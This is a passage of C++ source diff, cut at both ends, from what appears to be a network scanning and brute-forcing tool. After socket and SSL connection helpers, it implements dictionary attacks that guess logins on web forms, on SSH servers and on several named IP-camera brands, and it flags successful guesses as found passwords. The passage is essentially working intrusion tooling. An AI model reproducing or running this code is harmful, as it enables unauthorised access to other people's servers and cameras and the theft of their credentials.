*/ + SSL_set_fd(ssl, sock); /* attach the socket descriptor */ + + if(SSL_connect(ssl)) + { + SSL_write(ssl, requesth, strlen(requesth)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); + + int x = 256; + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_SIZE]; + ZeroMemory(recvBuff2, RECV_MAX_SIZE); + + while (x > 0) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); + if(x <= 0) break; + + bytes += x; + Activity += x; + + if( bytes > RECV_MAX_SIZE ) + { + if(strstri(recvBuff2, "http/1.") == NULL) + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + delete[] recvBuff2; + recvBuff2 = NULL; + CSSOCKET(sock); + + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + } + else break; + }; + if(globalScanFlag == true) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + strcat(recvBuff2, recvBuff); + } + else + { + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSSOCKET(sock); + CSTR->lowerBuff = new char[12]; + strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); + + CSTR->size = 11; + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + return 0; + }; + }; + }; + + if(bytes < 0) + { + stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); + }; + + SSL_free(ssl); + CSSOCKET(sock); + SSL_CTX_free(ctx); /* release context */ + + if(bytes == 0 || recvBuff2 == NULL) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return -1; + }; + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); + CSTR->lowerBuff = new char[bytes + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + + strncpy(CSTR->lowerBuff, recvBuff2, bytes); + + delete[] recvBuff2; + recvBuff2 = NULL; + CSTR->size = bytes; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + delete[] recvBuff2; + recvBuff2 = NULL; + CSSOCKET(sock); + SSL_free(ssl); + SSL_CTX_free(ctx); /* release context */ + CSTR->lowerBuff = new char[1]; + strcpy(CSTR->lowerBuff, ""); + CSTR->size = 0; + return 0; + }; + }; + } + else + { + char buff1[512] = {0}; + char buff2[512] = {0}; + + ERR_error_string(ERR_peek_error(), buff1); + ERR_error_string(ERR_peek_last_error(), buff2); + stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); + return -1; + } +}; +int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) +{ + return _sslConnectTo(iph, porth, requesth, CSTR); +}; +void __deleteExcessiveNullBytes(char *buff, int sz) +{ + int j = 0; + for(int i = 0; i < sz - 1; ++i) + { + if(buff[i] != 0) buff[j++] = buff[i]; + }; +}; +struct linger linger = { 0 }; +int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) +{ + CSTR->lowerBuff = NULL; + if(strlen(ip) == 0) + { + return -1; + }; + if(port < 0 || port > 65535) + { + return -1; + }; + + char *recvBuff2 = NULL; + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + + HOSTENT *host; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); +#endif + else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + ++offlines; + if(host == NULL) return -2; + else return -1; + }; + + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + while(sock == INVALID_SOCKET) + { + stt->doEmitionRedFoundData("[Cannot create socket]"); + + CSSOCKET(sock); + Sleep(100); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + }; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + u_long FAR cmd = 1; + if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) +#else + if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) +#endif + { + stt->doEmitionRedFoundData("[FIONBIO failed]"); + }; + + int recvBuffSize = 0; + linger.l_onoff = 1; + linger.l_linger = 5; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + + int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + while(sock == INVALID_SOCKET) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); + CSSOCKET(sock); + Sleep(100); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + }; + + if(iResult == SOCKET_ERROR) + { + iError = WSAGetLastError(); + + if(iError == 10035) + { + fd_set read_fs; + FD_ZERO(&read_fs); + FD_SET(sock, &read_fs); + timeval tv = { gTimeOut, 0 }; + + int oldErr = WSAGetLastError(); + iResult = select(sock + 1, NULL, &read_fs, NULL, &tv); + + if (iResult == SOCKET_ERROR) + { + ++offlines; + + stt->doEmitionRedFoundData("[Omitting IP] Select error-" + + QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) + + " sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port)); + } + else + { + if (!iResult) ++offlines; + else + { + int sResult = send(sock, request, strlen(request), 0); + + while(sResult == SOCKET_ERROR) + { + CSSOCKET(sock); + Sleep(100); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(sResult == SOCKET_ERROR) continue; + sResult = send(sock, request, strlen(request), 0); + }; + + if(sResult != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + char recvBuff[8192] = {0}; + recvBuff2 = new char[RECV_MAX_SIZE]; + ZeroMemory(recvBuff2, RECV_MAX_SIZE); + + int bTO; + int x = 256; + while (x > 0) + { + ZeroMemory(recvBuff, 8192); + x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); + if(x <= 0) break; + Activity += x; + recvBuffSize += x; + if( recvBuffSize > RECV_MAX_SIZE ) + { + CSSOCKET(sock); + ++Overl; + + CSTR->lowerBuff = new char[recvBuffSize]; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + CSTR->size = recvBuffSize; + CSTR->overflow = true; + delete[] recvBuff2; + recvBuff2 = NULL; + return 0; + }; + strncat(recvBuff2, recvBuff, x); + }; + + if(strstri(recvBuff2, "no request found") != NULL) + { + ZeroMemory(recvBuff2, RECV_MAX_SIZE); + CSSOCKET(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + send(sock, request, strlen(request), 0); + x = 1; + while (x > 0) + { + ZeroMemory(recvBuff, 8192); + x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); + if(x <= 0) break; + Activity += x; + recvBuffSize += x; + if( recvBuffSize > RECV_MAX_SIZE ) + { + CSSOCKET(sock); + ++Overl; + + CSTR->lowerBuff = new char[recvBuffSize]; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + CSTR->size = recvBuffSize; + CSTR->overflow = true; + delete[] recvBuff2; + recvBuff2 = NULL; + return 0; + }; + strncat(recvBuff2, recvBuff, x); + }; + }; + } + else + { + ++offlines; + stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); + }; + }; + }; + } + else + { + ++offlines; + if(iError == 10055) + { + stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); + } + else if(iError == 10049) + { + stt->doEmitionRedFoundData("[10049] " + QString(ip) + + ":" + QString::number(port) + + " - " + QString::number(iError)); + } + else + { + stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) + + ":" + QString::number(port) + + " - " + QString::number(iError)); + }; + }; + } + else + { + stt->doEmitionRedFoundData("[?!] Strange behavior detected - " + + QString::number(WSAGetLastError()) + + " - " + QString(ip) + ":" + QString::number(port)); + }; + + CSSOCKET(sock); + + if( globalScanFlag == false && force == 0) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; + + if(recvBuff2 != NULL && recvBuffSize > 0) + { + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + CSTR->lowerBuff = new char[recvBuffSize + 1]; + ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1); + CSTR->size = recvBuffSize; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + memset(CSTR->lowerBuff + recvBuffSize, '\0', 1); + + delete []recvBuff2; + recvBuff2 = NULL; + if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff); + return 0; + } + else + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; +}; + +#pragma region WF +lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + int cookieLen = strlen(cookie); + + char b[16] = {0}; + char request[2048] = {0}; + char argData[256] = {0}; + char recvBuffer[65536] = {0}; + + Connector con; + conSTR CSTR; + int cRes; + int firstCycle = 0; + if(strstri(methodVal, "get") != NULL) + { + int passCounter = 1; + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(request, "GET "); + strcat(request, actionVal); + strcat(request, "?"); + strcat(request, userVal); + strcat(request, "="); + strcat(request, wfLoginLst[i]); + strcat(request, "&"); + strcat(request, passVal); + strcat(request, "="); + strcat(request, wfPassLst[j]); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); + strcat(request, "\r\n\r\n"); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "501 not implemented") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + + ) + { + if(i == 0) + { + ZeroMemory(request, sizeof(request)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + isActive = 0; + + stt->doEmition_BAGreenData("[+] " + QString(pass)); + + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, sizeof(request)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(i == 0) ++i; + ZeroMemory(request, sizeof(request)); + }; + firstCycle = 1; + }; + } + else if(strstri(methodVal, "post") != NULL) + { + int passCounter = 1; + int firstCycle = 0; + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(argData, userVal); + strcat(argData, "="); + strcat(argData, wfLoginLst[i]); + strcat(argData, "&"); + strcat(argData, passVal); + strcat(argData, "="); + strcat(argData, wfPassLst[j]); + + strcpy(request, "POST "); + strcat(request, actionVal); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); + sprintf(b, "%d", strlen(argData)); + strcat(request, b); + strcat(request, "\r\n\r\n"); + + strcat(request, argData); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + ) + { + if(i == 0) + { + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + isActive = 0; + + stt->doEmition_BAGreenData("[+] " + QString(pass)); + + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(i == 0) ++i; + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + }; + firstCycle = 1; + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); + }; + + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + ++WF; + + BConInc(); + lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + BConDec(); + + return res; +}; + +#pragma region SSH +int _sshConnect(char *user, char *pass, char *host, int port) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, sizeof(hostStr)); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +}; +char *_get_ssh_banner(char *ip, int port) +{ + Connector con; + conSTR CSTR; + char recvBuff[256] = {0}; + con._EstablishConnection(ip, port, "", &CSTR); + if(CSTR.lowerBuff != NULL && CSTR.size != 0) + { + strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); + }; + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + return recvBuff; +}; +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + char goodStr[512] = {0}; + strcpy(goodStr, userPass); + strcat(goodStr, "@"); + strcat(goodStr, host); + strcat(goodStr, "|+|"); + strcat(goodStr, banner); + int bsz = strlen(goodStr); + CSTR->lowerBuff = new char[bsz + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = bsz; + strncpy(CSTR->lowerBuff, goodStr, bsz); + memset(CSTR->lowerBuff + bsz, '\0', 1); + return 0; + }; + return res; +}; +int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) +{ + CSTR->lowerBuff = NULL; + CSTR->size = 0; + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + isActive = 1; + BConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, CSTR, banner); + ZeroMemory(login, sizeof(login)); + ZeroMemory(pass, sizeof(pass)); + ZeroMemory(temp, sizeof(temp)); + if(res == 0) + { + if(i == 0) return -2; //Failhit + BConDec(); + isActive = 0; + return 0; + } + else if(res == -2) + { + BConDec(); + isActive = 0; + return -2; + }; + Sleep(500); + }; + BConDec(); + isActive = 0; + return -1; +}; + +#pragma region IPCAMWeb +int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) +{ + char recvBuff[256] = {0}; + char recvBuff2[4096] = {0}; + + SOCKET sock; + sockaddr_in sockAddr; + int bTO; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + return -1; + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + return -1; + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + CSSOCKET(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + + if(cCode != SOCKET_ERROR) + { + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); + CSSOCKET(sock); + return 0; + } + else + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + int x = 1; + int xx = 0; + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + while(xx < 3072) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); + if(x <= 0) break; + strncat(recvBuff2, recvBuff, x); + xx += x; + Activity += x; + }; + + if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + + if(strlen(recvBuff2) > 0) { + bool result = true; + for(int i = 0; i < negVector.size(); ++i) + { + if(strstri(recvBuff2, negVector[i]) != NULL) + { + result = false; + break; + }; + }; + + if(result) + { + CSSOCKET(sock); + return 1; + }; + } + }; + }; + + CSSOCKET(sock); + return 0; +}; +lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char login[128] = {0}; + char pass[128] = {0}; + char request[1024] = {0}; + isActive = 1; + int passCounter = 1; + + std::vector negVector; + if(strcmp(SPEC, "IPC") == 0) + { + negVector.push_back("Invalid"); + } + else if(strcmp(SPEC, "GEO") == 0) + { + negVector.push_back("Access denied"); + negVector.push_back("ErrNoSuchUsr.htm"); + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + negVector.push_back("Set-Cookie: usrLevel=-1;path=/"); + } + else if(strcmp(SPEC, "Foscam") == 0) + { + negVector.push_back("0"); + negVector.push_back("-1"); + negVector.push_back("-2"); + negVector.push_back("-3"); + negVector.push_back("-4"); + negVector.push_back("-5"); + negVector.push_back("-6"); + negVector.push_back("-7"); + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + negVector.push_back("Password Error"); + } + else if(strcmp(SPEC, "BUFFALO") == 0) + { + negVector.push_back("403 Forbidden"); + } + else if(strcmp(SPEC, "DVS") == 0) + { + negVector.push_back("Non-Existed"); + } + else if(strcmp(SPEC, "IPCAM") == 0) + { + negVector.push_back("var check=\"0\""); + negVector.push_back("var authLevel =\"0\";"); + } + else if(strcmp(SPEC, "IEORFOREFOX") == 0) + { + negVector.push_back("AAA()"); + negVector.push_back("Имя или пароль неверные!"); + negVector.push_back("Возврат"); + negVector.push_back("HTTP/1.0 302 Found"); + } + else + { + stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + if(strcmp(loginLst[i], " ") == 0) continue; + ZeroMemory(login, sizeof(login)); + strcpy(login, loginLst[i]); + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + if(strcmp(passLst[j], " ") == 0) continue; + + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, passLst[j]); + + ZeroMemory(request, sizeof(request)); + if(strcmp(SPEC, "IPC") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: 